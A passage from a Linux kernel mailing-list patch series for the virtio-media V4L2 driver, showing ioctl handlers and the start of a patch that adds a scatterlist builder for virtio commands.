+	int ret = virtio_media_send_w_ioctl(fh, VIDIOC_UNSUBSCRIBE_EVENT, sub,
+					sizeof(*sub));
+	if (ret < 0)
+		return ret;
+
+	ret = v4l2_event_unsubscribe(fh, sub);
+	if (ret)
+		return ret;
+
+	return 0;
+}
+
+/*
+ * Streamon/off affect the local queue state.
+ */
+
+static int virtio_media_streamon(struct file *file, void *fh,
+				 enum v4l2_buf_type i)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+	int ret;
+
+	if (i > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+
+	ret = virtio_media_send_w_ioctl(vfh, VIDIOC_STREAMON, &i, sizeof(i));
+	if (ret < 0)
+		return ret;
+
+	session->queues[i].streaming = true;
+
+	return 0;
+}
+
+static int virtio_media_streamoff(struct file *file, void *fh,
+				  enum v4l2_buf_type i)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+	int ret;
+
+	if (i > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+
+	ret = virtio_media_send_w_ioctl(vfh, VIDIOC_STREAMOFF, &i, sizeof(i));
+	if (ret < 0)
+		return ret;
+
+	virtio_media_clear_queue(session, &session->queues[i]);
+
+	return 0;
+}
+
+/*
+ * Buffer creation/queuing functions deal with the local driver state.
+ */
+
+static int virtio_media_reqbufs(struct file *file, void *fh,
+				struct v4l2_requestbuffers *b)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+	struct virtio_media_queue_state *queue;
+	int ret;
+
+	if (b->type > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+
+	if (b->memory == V4L2_MEMORY_USERPTR)
+		return -EINVAL;
+
+	ret = virtio_media_send_wr_ioctl(vfh, VIDIOC_REQBUFS, b, sizeof(*b),
+					 sizeof(*b));
+	if (ret)
+		return ret;
+
+	queue = &session->queues[b->type];
+
+	/* REQBUFS(0) is an implicit STREAMOFF. */
+	if (b->count == 0)
+		virtio_media_clear_queue(session, queue);
+
+	vfree(queue->buffers);
+	queue->buffers = NULL;
+
+	if (b->count > 0) {
+		queue->buffers =
+			vzalloc(sizeof(struct virtio_media_buffer) * b->count);
+		if (!queue->buffers)
+			return -ENOMEM;
+	}
+
+	queue->allocated_bufs = b->count;
+
+	/*
+	 * If a multiplanar queue is successfully used here, this means
+	 * we are using the multiplanar interface.
+	 */
+	if (V4L2_TYPE_IS_MULTIPLANAR(b->type))
+		session->uses_mplane = true;
+
+	b->capabilities &= ~V4L2_BUF_CAP_SUPPORTS_USERPTR;
+
+	/* We do not support DMABUF yet. */
+	b->capabilities &= ~V4L2_BUF_CAP_SUPPORTS_DMABUF;
+
+	return 0;
+}
+
+static int virtio_media_querybuf(struct file *file, void *fh,
+				 struct v4l2_buffer *b)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+	struct virtio_media_queue_state *queue;
+	struct virtio_media_buffer *buffer;
+
+	int ret = virtio_media_send_buffer_ioctl(vfh, VIDIOC_QUERYBUF, b);
+
+	if (ret)
+		return ret;
+
+	if (b->type > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+
+	queue = &session->queues[b->type];
+	if (b->index >= queue->allocated_bufs)
+		return -EINVAL;
+
+	buffer = &queue->buffers[b->index];
+	/*
+	 * Set the DONE flag if the buffer is waiting in our own dequeue
+	 * queue.
+	 */
+	b->flags |= (buffer->buffer.flags & V4L2_BUF_FLAG_DONE);
+
+	return 0;
+}
+
+static int virtio_media_create_bufs(struct file *file, void *fh,
+				    struct v4l2_create_buffers *b)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+	struct virtio_media_queue_state *queue;
+	struct virtio_media_buffer *buffers;
+	u32 type = b->format.type;
+	int ret;
+
+	if (type > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+
+	queue = &session->queues[type];
+
+	ret = virtio_media_send_wr_ioctl(vfh, VIDIOC_CREATE_BUFS, b, sizeof(*b),
+					 sizeof(*b));
+	if (ret)
+		return ret;
+
+	/* If count is zero, we were just checking for format. */
+	if (b->count == 0)
+		return 0;
+
+	buffers = queue->buffers;
+
+	queue->buffers =
+		vzalloc(sizeof(*queue->buffers) * (b->index + b->count));
+	if (!queue->buffers) {
+		queue->buffers = buffers;
+		return -ENOMEM;
+	}
+
+	memcpy(queue->buffers, buffers,
+	       sizeof(*buffers) * queue->allocated_bufs);
+	vfree(buffers);
+
+	queue->allocated_bufs = b->index + b->count;
+
+	return 0;
+}
+
+static int virtio_media_prepare_buf(struct file *file, void *fh,
+				    struct v4l2_buffer *b)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+	struct virtio_media_queue_state *queue;
+	struct virtio_media_buffer *buffer;
+	int i, ret;
+
+	if (b->type > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+	queue = &session->queues[b->type];
+	if (b->index >= queue->allocated_bufs)
+		return -EINVAL;
+	buffer = &queue->buffers[b->index];
+
+	buffer->buffer.m = b->m;
+	if (V4L2_TYPE_IS_MULTIPLANAR(b->type)) {
+		if (b->length > VIDEO_MAX_PLANES)
+			return -EINVAL;
+		for (i = 0; i < b->length; i++)
+			buffer->planes[i].m = b->m.planes[i].m;
+	}
+
+	ret = virtio_media_send_buffer_ioctl(vfh, VIDIOC_PREPARE_BUF, b);
+	if (ret)
+		return ret;
+
+	buffer->buffer.flags = V4L2_BUF_FLAG_PREPARED;
+
+	return 0;
+}
+
+static int virtio_media_qbuf(struct file *file, void *fh, struct v4l2_buffer *b)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+	struct virtio_media_queue_state *queue;
+	struct virtio_media_buffer *buffer;
+	bool prepared;
+	u32 old_flags;
+	int i, ret;
+
+	if (b->type > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+	queue = &session->queues[b->type];
+	if (b->index >= queue->allocated_bufs)
+		return -EINVAL;
+	buffer = &queue->buffers[b->index];
+	prepared = buffer->buffer.flags & V4L2_BUF_FLAG_PREPARED;
+
+	/*
+	 * Store the buffer and plane `m` information so we can retrieve
+	 * it again when DQBUF occurs.
+	 */
+	if (!prepared) {
+		buffer->buffer.m = b->m;
+		if (V4L2_TYPE_IS_MULTIPLANAR(b->type)) {
+			if (b->length > VIDEO_MAX_PLANES)
+				return -EINVAL;
+			for (i = 0; i < b->length; i++)
+				buffer->planes[i].m = b->m.planes[i].m;
+		}
+	}
+	old_flags = buffer->buffer.flags;
+	buffer->buffer.flags = V4L2_BUF_FLAG_QUEUED;
+
+	ret = virtio_media_send_buffer_ioctl(vfh, VIDIOC_QBUF, b);
+	if (ret) {
+		/* Rollback the previous flags as the buffer is not queued. */
+		buffer->buffer.flags = old_flags;
+		return ret;
+	}
+
+	queue->queued_bufs += 1;
+
+	return 0;
+}
+
+static int virtio_media_dqbuf(struct file *file, void *fh,
+			      struct v4l2_buffer *b)
+{
+	struct video_device *video_dev = video_devdata(file);
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session =
+		fh_to_session(file_to_v4l2_fh(file));
+	struct virtio_media_buffer *dqbuf;
+	struct virtio_media_queue_state *queue;
+	struct list_head *buffer_queue;
+	struct v4l2_plane *planes_backup = NULL;
+	const bool is_multiplanar = V4L2_TYPE_IS_MULTIPLANAR(b->type);
+	int ret;
+
+	if (b->type > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+
+	queue = &session->queues[b->type];
+
+	/*
+	 * If a buffer with the LAST flag has been returned, subsequent
+	 * calls to DQBUF must return -EPIPE until the queue is cleared.
+	 */
+	if (queue->is_capture_last)
+		return -EPIPE;
+
+	buffer_queue = &queue->pending_dqbufs;
+
+	if (session->nonblocking_dequeue) {
+		if (list_empty(buffer_queue))
+			return -EAGAIN;
+	} else if (queue->allocated_bufs == 0) {
+		return -EINVAL;
+	} else if (!queue->streaming) {
+		return -EINVAL;
+	}
+
+	/*
+	 * vv->lock has been acquired by virtio_media_device_ioctl. Release it
+	 * while we wait so that other ioctls for this session can be processed
+	 * and potentially trigger dqbuf_wait.
+	 */
+	mutex_unlock(&vv->vlock);
+	ret = wait_event_interruptible(session->dqbuf_wait,
+				       !list_empty(buffer_queue));
+	mutex_lock(&vv->vlock);
+	if (ret)
+		return -EINTR;
+
+	mutex_lock(&session->queues_lock);
+	dqbuf = list_first_entry(buffer_queue, struct virtio_media_buffer,
+				 list);
+	list_del(&dqbuf->list);
+	mutex_unlock(&session->queues_lock);
+
+	/* Clear the DONE flag as the buffer is now being dequeued. */
+	dqbuf->buffer.flags &= ~V4L2_BUF_FLAG_DONE;
+
+	if (is_multiplanar) {
+		size_t nb_planes = min_t(u32, b->length, VIDEO_MAX_PLANES);
+
+		memcpy(b->m.planes, dqbuf->planes,
+		       nb_planes * sizeof(struct v4l2_plane));
+		planes_backup = b->m.planes;
+	}
+
+	memcpy(b, &dqbuf->buffer, sizeof(*b));
+
+	if (is_multiplanar)
+		b->m.planes = planes_backup;
+
+	if (V4L2_TYPE_IS_CAPTURE(b->type) && b->flags & V4L2_BUF_FLAG_LAST)
+		queue->is_capture_last = true;
+
+	return 0;
+}
+
+/*
+ * s/g_input/output work with an unsigned int - recast this to a u32 so the
+ * size is unambiguous.
+ */
+
+static int virtio_media_g_input(struct file *file, void *fh, unsigned int *i)
+{
+	u32 input;
+
+	int ret = virtio_media_send_wr_ioctl(file_to_v4l2_fh(file),
+					 VIDIOC_G_INPUT, &input,
+					 sizeof(input), sizeof(input));
+	if (ret)
+		return ret;
+
+	*i = input;
+
+	return 0;
+}
+
+static int virtio_media_s_input(struct file *file, void *fh, unsigned int i)
+{
+	u32 input = i;
+
+	return virtio_media_send_wr_ioctl(file_to_v4l2_fh(file),
+					  VIDIOC_S_INPUT, &input,
+					  sizeof(input), sizeof(input));
+}
+
+static int virtio_media_g_output(struct file *file, void *fh, unsigned int *o)
+{
+	u32 output;
+
+	int ret = virtio_media_send_wr_ioctl(file_to_v4l2_fh(file),
+					 VIDIOC_G_OUTPUT, &output,
+					 sizeof(output), sizeof(output));
+	if (ret)
+		return ret;
+
+	*o = output;
+
+	return 0;
+}
+
+static int virtio_media_s_output(struct file *file, void *fh, unsigned int o)
+{
+	u32 output = o;
+
+	return virtio_media_send_wr_ioctl(file_to_v4l2_fh(file),
+					  VIDIOC_S_OUTPUT, &output,
+					  sizeof(output), sizeof(output));
+}
+
+/*
+ * decoder_cmd can affect the state of the CAPTURE queue.
+ */
+
+static int virtio_media_decoder_cmd(struct file *file, void *fh,
+				    struct v4l2_decoder_cmd *cmd)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+	struct virtio_media_session *session = fh_to_session(vfh);
+
+	int ret = virtio_media_send_wr_ioctl(vfh, VIDIOC_DECODER_CMD, cmd,
+					 sizeof(*cmd), sizeof(*cmd));
+	if (ret)
+		return ret;
+
+	/* A START command makes the CAPTURE queue able to dequeue again. */
+	if (cmd->cmd == V4L2_DEC_CMD_START) {
+		session->queues[V4L2_BUF_TYPE_VIDEO_CAPTURE].is_capture_last =
+			false;
+		session->queues[V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE]
+			.is_capture_last = false;
+	}
+
+	return 0;
+}
+
+/*
+ * s_std doesn't work with a pointer, so we cannot use SIMPLE_W_IOCTL.
+ */
+
+static int virtio_media_s_std(struct file *file, void *fh, v4l2_std_id s)
+{
+	int ret = virtio_media_send_w_ioctl(file_to_v4l2_fh(file), VIDIOC_S_STD,
+					&s, sizeof(s));
+	if (ret)
+		return ret;
+
+	return 0;
+}
+
+const struct v4l2_ioctl_ops virtio_media_ioctl_ops = {
+	/* VIDIOC_QUERYCAP handler */
+	.vidioc_querycap = virtio_media_querycap,
+
+	/* VIDIOC_ENUM_FMT handlers */
+	.vidioc_enum_fmt_vid_cap = virtio_media_enum_fmt,
+	.vidioc_enum_fmt_vid_overlay = virtio_media_enum_fmt,
+	.vidioc_enum_fmt_vid_out = virtio_media_enum_fmt,
+	.vidioc_enum_fmt_sdr_cap = virtio_media_enum_fmt,
+	.vidioc_enum_fmt_sdr_out = virtio_media_enum_fmt,
+	.vidioc_enum_fmt_meta_cap = virtio_media_enum_fmt,
+	.vidioc_enum_fmt_meta_out = virtio_media_enum_fmt,
+
+	/* VIDIOC_G_FMT handlers */
+	.vidioc_g_fmt_vid_cap = virtio_media_g_fmt,
+	.vidioc_g_fmt_vid_overlay = virtio_media_g_fmt,
+	.vidioc_g_fmt_vid_out = virtio_media_g_fmt,
+	.vidioc_g_fmt_vid_out_overlay = virtio_media_g_fmt,
+	.vidioc_g_fmt_vbi_cap = virtio_media_g_fmt,
+	.vidioc_g_fmt_vbi_out = virtio_media_g_fmt,
+	.vidioc_g_fmt_sliced_vbi_cap = virtio_media_g_fmt,
+	.vidioc_g_fmt_sliced_vbi_out = virtio_media_g_fmt,
+	.vidioc_g_fmt_vid_cap_mplane = virtio_media_g_fmt,
+	.vidioc_g_fmt_vid_out_mplane = virtio_media_g_fmt,
+	.vidioc_g_fmt_sdr_cap = virtio_media_g_fmt,
+	.vidioc_g_fmt_sdr_out = virtio_media_g_fmt,
+	.vidioc_g_fmt_meta_cap = virtio_media_g_fmt,
+	.vidioc_g_fmt_meta_out = virtio_media_g_fmt,
+
+	/* VIDIOC_S_FMT handlers */
+	.vidioc_s_fmt_vid_cap = virtio_media_s_fmt,
+	.vidioc_s_fmt_vid_overlay = virtio_media_s_fmt,
+	.vidioc_s_fmt_vid_out = virtio_media_s_fmt,
+	.vidioc_s_fmt_vid_out_overlay = virtio_media_s_fmt,
+	.vidioc_s_fmt_vbi_cap = virtio_media_s_fmt,
+	.vidioc_s_fmt_vbi_out = virtio_media_s_fmt,
+	.vidioc_s_fmt_sliced_vbi_cap = virtio_media_s_fmt,
+	.vidioc_s_fmt_sliced_vbi_out = virtio_media_s_fmt,
+	.vidioc_s_fmt_vid_cap_mplane = virtio_media_s_fmt,
+	.vidioc_s_fmt_vid_out_mplane = virtio_media_s_fmt,
+	.vidioc_s_fmt_sdr_cap = virtio_media_s_fmt,
+	.vidioc_s_fmt_sdr_out = virtio_media_s_fmt,
+	.vidioc_s_fmt_meta_cap = virtio_media_s_fmt,
+	.vidioc_s_fmt_meta_out = virtio_media_s_fmt,
+
+	/* VIDIOC_TRY_FMT handlers */
+	.vidioc_try_fmt_vid_cap = virtio_media_try_fmt,
+	.vidioc_try_fmt_vid_overlay = virtio_media_try_fmt,
+	.vidioc_try_fmt_vid_out = virtio_media_try_fmt,
+	.vidioc_try_fmt_vid_out_overlay = virtio_media_try_fmt,
+	.vidioc_try_fmt_vbi_cap = virtio_media_try_fmt,
+	.vidioc_try_fmt_vbi_out = virtio_media_try_fmt,
+	.vidioc_try_fmt_sliced_vbi_cap = virtio_media_try_fmt,
+	.vidioc_try_fmt_sliced_vbi_out = virtio_media_try_fmt,
+	.vidioc_try_fmt_vid_cap_mplane = virtio_media_try_fmt,
+	.vidioc_try_fmt_vid_out_mplane = virtio_media_try_fmt,
+	.vidioc_try_fmt_sdr_cap = virtio_media_try_fmt,
+	.vidioc_try_fmt_sdr_out = virtio_media_try_fmt,
+	.vidioc_try_fmt_meta_cap = virtio_media_try_fmt,
+	.vidioc_try_fmt_meta_out = virtio_media_try_fmt,
+
+	/* Buffer handlers */
+	.vidioc_reqbufs = virtio_media_reqbufs,
+	.vidioc_querybuf = virtio_media_querybuf,
+	.vidioc_qbuf = virtio_media_qbuf,
+	.vidioc_expbuf = NULL,
+	.vidioc_dqbuf = virtio_media_dqbuf,
+	.vidioc_create_bufs = virtio_media_create_bufs,
+	.vidioc_prepare_buf = virtio_media_prepare_buf,
+	/* Overlay interface not supported yet */
+	.vidioc_overlay = NULL,
+	/* Overlay interface not supported yet */
+	.vidioc_g_fbuf = NULL,
+	/* Overlay interface not supported yet */
+	.vidioc_s_fbuf = NULL,
+
+	/* Stream on/off */
+	.vidioc_streamon = virtio_media_streamon,
+	.vidioc_streamoff = virtio_media_streamoff,
+
+	/* Standard handling */
+	.vidioc_g_std = virtio_media_g_std,
+	.vidioc_s_std = virtio_media_s_std,
+	.vidioc_querystd = virtio_media_querystd,
+
+	/* Input handling */
+	.vidioc_enum_input = virtio_media_enuminput,
+	.vidioc_g_input = virtio_media_g_input,
+	.vidioc_s_input = virtio_media_s_input,
+
+	/* Output handling */
+	.vidioc_enum_output = virtio_media_enumoutput,
+	.vidioc_g_output = virtio_media_g_output,
+	.vidioc_s_output = virtio_media_s_output,
+
+	/* Control handling */
+	.vidioc_query_ext_ctrl = virtio_media_query_ext_ctrl,
+	.vidioc_g_ext_ctrls = virtio_media_g_ext_ctrls,
+	.vidioc_s_ext_ctrls = virtio_media_s_ext_ctrls,
+	.vidioc_try_ext_ctrls = virtio_media_try_ext_ctrls,
+	.vidioc_querymenu = virtio_media_querymenu,
+
+	/* Audio ioctls */
+	.vidioc_enumaudio = virtio_media_enumaudio,
+	.vidioc_g_audio = virtio_media_g_audio,
+	.vidioc_s_audio = virtio_media_s_audio,
+
+	/* Audio out ioctls */
+	.vidioc_enumaudout = virtio_media_enumaudout,
+	.vidioc_g_audout = virtio_media_g_audout,
+	.vidioc_s_audout = virtio_media_s_audout,
+	.vidioc_g_modulator = virtio_media_g_modulator,
+	.vidioc_s_modulator = virtio_media_s_modulator,
+
+	/* Crop ioctls */
+	/*
+	 * Not directly an ioctl (part of VIDIOC_CROPCAP), so no need to
+	 * implement.
+	 */
+	.vidioc_g_pixelaspect = NULL,
+	.vidioc_g_selection = virtio_media_g_selection,
+	.vidioc_s_selection = virtio_media_s_selection,
+
+	/* Compression ioctls */
+	/* Deprecated in V4L2. */
+	.vidioc_g_jpegcomp = NULL,
+	/* Deprecated in V4L2. */
+	.vidioc_s_jpegcomp = NULL,
+	.vidioc_g_enc_index = virtio_media_g_enc_index,
+	.vidioc_encoder_cmd = virtio_media_encoder_cmd,
+	.vidioc_try_encoder_cmd = virtio_media_try_encoder_cmd,
+	.vidioc_decoder_cmd = virtio_media_decoder_cmd,
+	.vidioc_try_decoder_cmd = virtio_media_try_decoder_cmd,
+
+	/* Stream type-dependent parameter ioctls */
+	.vidioc_g_parm = virtio_media_g_parm,
+	.vidioc_s_parm = virtio_media_s_parm,
+
+	/* Tuner ioctls */
+	.vidioc_g_tuner = virtio_media_g_tuner,
+	.vidioc_s_tuner = virtio_media_s_tuner,
+	.vidioc_g_frequency = virtio_media_g_frequency,
+	.vidioc_s_frequency = virtio_media_s_frequency,
+	.vidioc_enum_freq_bands = virtio_media_enum_freq_bands,
+
+	/* Sliced VBI cap */
+	.vidioc_g_sliced_vbi_cap = virtio_media_g_sliced_vbi_cap,
+
+	/* Log status ioctl */
+	/* Guest-only operation */
+	.vidioc_log_status = NULL,
+
+	.vidioc_s_hw_freq_seek = virtio_media_s_hw_freq_seek,
+
+	.vidioc_enum_framesizes = virtio_media_enum_framesizes,
+	.vidioc_enum_frameintervals = virtio_media_enum_frameintervals,
+
+	/* DV Timings IOCTLs */
+	.vidioc_s_dv_timings = virtio_media_s_dv_timings,
+	.vidioc_g_dv_timings = virtio_media_g_dv_timings,
+	.vidioc_query_dv_timings = virtio_media_query_dv_timings,
+	.vidioc_enum_dv_timings = virtio_media_enum_dv_timings,
+	.vidioc_dv_timings_cap = virtio_media_dv_timings_cap,
+	.vidioc_g_edid = NULL,
+	.vidioc_s_edid = NULL,
+
+	.vidioc_subscribe_event = virtio_media_subscribe_event,
+	.vidioc_unsubscribe_event = virtio_media_unsubscribe_event,
+
+	/* For other private ioctls */
+	.vidioc_default = NULL,
+};
+
+long virtio_media_device_ioctl(struct file *file, unsigned int cmd,
+			       unsigned long arg)
+{
+	struct video_device *video_dev = video_devdata(file);
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct v4l2_fh *vfh = NULL;
+	struct v4l2_standard standard;
+	v4l2_std_id std_id = 0;
+	int ret;
+
+	if (test_bit(V4L2_FL_USES_V4L2_FH, &video_dev->flags))
+		vfh = file_to_v4l2_fh(file);
+
+	mutex_lock(&vv->vlock);
+
+	/*
+	 * We need to handle a few ioctls manually because their results
+	 * rely on vfd->tvnorms, which is normally updated by the driver
+	 * as S_INPUT is called. Since we want to just pass these ioctls
+	 * through, we have to hijack them from here.
+	 */
+	switch (cmd) {
+	case VIDIOC_S_STD:
+		ret = copy_from_user(&std_id, (void __user *)arg,
+				     sizeof(std_id));
+		if (ret) {
+			ret = -EINVAL;
+			break;
+		}
+		ret = virtio_media_s_std(file, vfh, std_id);
+		break;
+	case VIDIOC_ENUMSTD:
+		ret = copy_from_user(&standard, (void __user *)arg,
+				     sizeof(standard));
+		if (ret) {
+			ret = -EINVAL;
+			break;
+		}
+		ret = virtio_media_enumstd(file, vfh, &standard);
+		if (ret)
+			break;
+		ret = copy_to_user((void __user *)arg, &standard,
+				   sizeof(standard));
+		if (ret)
+			ret = -EINVAL;
+		break;
+	case VIDIOC_QUERYSTD:
+		ret = virtio_media_querystd(file, vfh, &std_id);
+		if (ret)
+			break;
+		ret = copy_to_user((void __user *)arg, &std_id, sizeof(std_id));
+		if (ret)
+			ret = -EINVAL;
+		break;
+	default:
+		ret = video_ioctl2(file, cmd, arg);
+		break;
+	}
+
+	mutex_unlock(&vv->vlock);
+
+	return ret;
+}
-- 
2.55.0.229.g6434b31f56-goog


^ permalink raw reply related

* [PATCH v5 3/5] media: virtio: Add scatterlist builder
From: Brian Daniels @ 2026-07-23 18:32 UTC (permalink / raw)
  To: Mauro Carvalho Chehab
  Cc: adelva, aesteve, changyeon, daniel.almeida, eperezma, gnurou,
	gurchetansingh, hverkuil, jasowang, linux-kernel, linux-media,
	mst, nicolas.dufresne, virtualization, xuanzhuo, Brian Daniels
In-Reply-To: <20260723183219.737296-1-briandaniels@google.com>

From: Alexandre Courbot <gnurou@gmail.com>

This patch adds the scatterlist builder, which is used to construct
scatterlists for virtio commands from V4L2 structures.

It adds drivers/media/virtio/scatterlist_builder.c and
drivers/media/virtio/scatterlist_builder.h.

Signed-off-by: Alexandre Courbot <gnurou@gmail.com>
Assisted-by: Antigravity:gemini-3.5-flash
Co-developed-by: Brian Daniels <briandaniels@google.com>
Signed-off-by: Brian Daniels <briandaniels@google.com>
---
 drivers/media/virtio/Makefile              |   2 +-
 drivers/media/virtio/scatterlist_builder.c | 515 +++++++++++++++++++++
 drivers/media/virtio/scatterlist_builder.h | 109 +++++
 3 files changed, 625 insertions(+), 1 deletion(-)
 create mode 100644 drivers/media/virtio/scatterlist_builder.c
 create mode 100644 drivers/media/virtio/scatterlist_builder.h

diff --git a/drivers/media/virtio/Makefile b/drivers/media/virtio/Makefile
index 09d9834da..8290d8506 100644
--- a/drivers/media/virtio/Makefile
+++ b/drivers/media/virtio/Makefile
@@ -2,6 +2,6 @@
 #
 # Makefile for the virtio-media device driver.
 
-virtio-media-objs := virtio_media_driver.o
+virtio-media-objs := scatterlist_builder.o virtio_media_driver.o
 
 obj-$(CONFIG_MEDIA_VIRTIO) += virtio-media.o
diff --git a/drivers/media/virtio/scatterlist_builder.c b/drivers/media/virtio/scatterlist_builder.c
new file mode 100644
index 000000000..97925b277
--- /dev/null
+++ b/drivers/media/virtio/scatterlist_builder.c
@@ -0,0 +1,515 @@
+// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0+
+
+/*
+ * Scatterlist builder helpers for virtio-media.
+ *
+ * Copyright (c) 2024-2026 Google LLC.
+ */
+
+#include <linux/moduleparam.h>
+#include <linux/scatterlist.h>
+#include <linux/videodev2.h>
+#include <media/videobuf2-memops.h>
+
+#include "uapi/linux/virtio_media.h"
+#include "scatterlist_builder.h"
+#include "session.h"
+
+/*
+ * If set to %true, then the driver will always copy the data passed to the
+ * host into the shadow buffer (instead of trying to map the source memory into
+ * the SG table directly when possible).
+ */
+static bool always_use_shadow_buffer;
+module_param(always_use_shadow_buffer, bool, 0660);
+
+/* Convert a V4L2 IOCTL into the IOCTL code we can give to the host */
+#define VIRTIO_MEDIA_IOCTL_CODE(IOCTL) (((IOCTL) >> _IOC_NRSHIFT) & _IOC_NRMASK)
+
+/**
+ * scatterlist_builder_add_descriptor() - Add a descriptor to the chain.
+ * @builder: builder to use.
+ * @desc_index: index of the descriptor to add.
+ *
+ * Returns %-ENOSPC if @builder->sgs is already full.
+ */
+int scatterlist_builder_add_descriptor(struct scatterlist_builder *builder,
+				       size_t desc_index)
+{
+	if (builder->cur_sg >= builder->num_sgs)
+		return -ENOSPC;
+	builder->sgs[builder->cur_sg++] = &builder->descs[desc_index];
+
+	return 0;
+}
+
+/**
+ * scatterlist_builder_add_data() - Append arbitrary data to the descriptor
+ *                                  chain.
+ * @builder: builder to use.
+ * @data: pointer to the data to add to the descriptor chain.
+ * @len: length of the data to add.
+ *
+ * @data will either be directly referenced, or copied into the shadow buffer
+ * to be referenced from there.
+ */
+int scatterlist_builder_add_data(struct scatterlist_builder *builder,
+				 void *data, size_t len)
+{
+	const size_t cur_desc = builder->cur_desc;
+
+	if (len == 0)
+		return 0;
+
+	if (builder->cur_desc >= builder->num_descs)
+		return -ENOSPC;
+
+	if (!always_use_shadow_buffer && virt_addr_valid(data + len)) {
+		/*
+		 * If "data" is in the 1:1 physical memory mapping then we can
+		 * use a single SG entry and avoid copying.
+		 */
+		struct page *page = virt_to_page(data);
+		size_t offset = (((size_t)data) & ~PAGE_MASK);
+		struct scatterlist *next_desc =
+			&builder->descs[builder->cur_desc];
+
+		memset(next_desc, 0, sizeof(*next_desc));
+		sg_set_page(next_desc, page, len, offset);
+		builder->cur_desc++;
+	} else if (!always_use_shadow_buffer && is_vmalloc_addr(data)) {
+		int prev_pfn = -2;
+
+		/*
+		 * If "data" has been vmalloc'ed, we need at most one entry per
+		 * memory page but can avoid copying.
+		 */
+		while (len > 0) {
+			struct page *page = vmalloc_to_page(data);
+			int cur_pfn = page_to_pfn(page);
+			/* All pages but the first will start at offset 0. */
+			unsigned long offset =
+				(((unsigned long)data) & ~PAGE_MASK);
+			size_t len_in_page = min(PAGE_SIZE - offset, len);
+			struct scatterlist *next_desc =
+				&builder->descs[builder->cur_desc];
+
+			if (builder->cur_desc >= builder->num_descs)
+				return -ENOSPC;
+
+			/* Optimize contiguous pages */
+			if (cur_pfn == prev_pfn + 1) {
+				(next_desc - 1)->length += len_in_page;
+			} else {
+				memset(next_desc, 0, sizeof(*next_desc));
+				sg_set_page(next_desc, page, len_in_page,
+					    offset);
+				builder->cur_desc++;
+			}
+			data += len_in_page;
+			len -= len_in_page;
+			prev_pfn = cur_pfn;
+		}
+	} else {
+		/*
+		 * As a last resort, copy into the shadow buffer and reference
+		 * it with a single SG entry. Calling
+		 * scatterlist_builder_retrieve_data() will be necessary to copy
+		 * the data written by the device back into @data.
+		 */
+		void *shadow_buffer =
+			builder->shadow_buffer + builder->shadow_buffer_pos;
+		struct page *page = virt_to_page(shadow_buffer);
+		unsigned long offset =
+			(((unsigned long)shadow_buffer) & ~PAGE_MASK);
+		struct scatterlist *next_desc =
+			&builder->descs[builder->cur_desc];
+
+		if (len >
+		    builder->shadow_buffer_size - builder->shadow_buffer_pos)
+			return -ENOSPC;
+
+		memcpy(shadow_buffer, data, len);
+		memset(next_desc, 0, sizeof(*next_desc));
+		sg_set_page(next_desc, page, len, offset);
+		builder->cur_desc++;
+		builder->shadow_buffer_pos += len;
+	}
+
+	sg_mark_end(&builder->descs[builder->cur_desc - 1]);
+	return scatterlist_builder_add_descriptor(builder, cur_desc);
+}
+
+/**
+ * scatterlist_builder_retrieve_data() - Retrieve a response written by the
+ *                                       device on the shadow buffer.
+ * @builder: builder to use.
+ * @sg_index: index of the descriptor to read from.
+ * @data: destination for the shadowed data.
+ *
+ * If the shadow buffer is pointed to by the descriptor at index @sg_index of
+ * the chain, then ``sg->length`` bytes are copied back from it into @data.
+ * Otherwise nothing is done since the device has written into @data directly.
+ *
+ * @data must have originally been added by scatterlist_builder_add_data() as
+ * the same size as passed to scatterlist_builder_add_data() will be copied
+ * back.
+ */
+int scatterlist_builder_retrieve_data(struct scatterlist_builder *builder,
+				      size_t sg_index, void *data)
+{
+	void *shadow_buf = builder->shadow_buffer;
+	struct scatterlist *sg;
+	void *kaddr;
+
+	/* We can only retrieve from the range of sgs currently set. */
+	if (sg_index >= builder->cur_sg)
+		return -ERANGE;
+
+	sg = builder->sgs[sg_index];
+	kaddr = pfn_to_kaddr(page_to_pfn(sg_page(sg))) + sg->offset;
+
+	if (kaddr >= shadow_buf &&
+	    kaddr < shadow_buf + VIRTIO_SHADOW_BUF_SIZE) {
+		if (kaddr + sg->length >= shadow_buf + VIRTIO_SHADOW_BUF_SIZE)
+			return -EINVAL;
+
+		memcpy(data, kaddr, sg->length);
+	}
+
+	return 0;
+}
+
+/**
+ * scatterlist_builder_add_ioctl_cmd() - Add an ioctl command to the descriptor
+ *                                       chain.
+ * @builder: builder to use.
+ * @session: session on behalf of which the ioctl command is added.
+ * @ioctl_code: code of the ioctl to add (i.e. ``VIDIOC_*``).
+ */
+int scatterlist_builder_add_ioctl_cmd(struct scatterlist_builder *builder,
+				      struct virtio_media_session *session,
+				      u32 ioctl_code)
+{
+	struct virtio_media_cmd_ioctl *cmd_ioctl = &session->cmd.ioctl;
+
+	cmd_ioctl->hdr.cmd = VIRTIO_MEDIA_CMD_IOCTL;
+	cmd_ioctl->session_id = session->id;
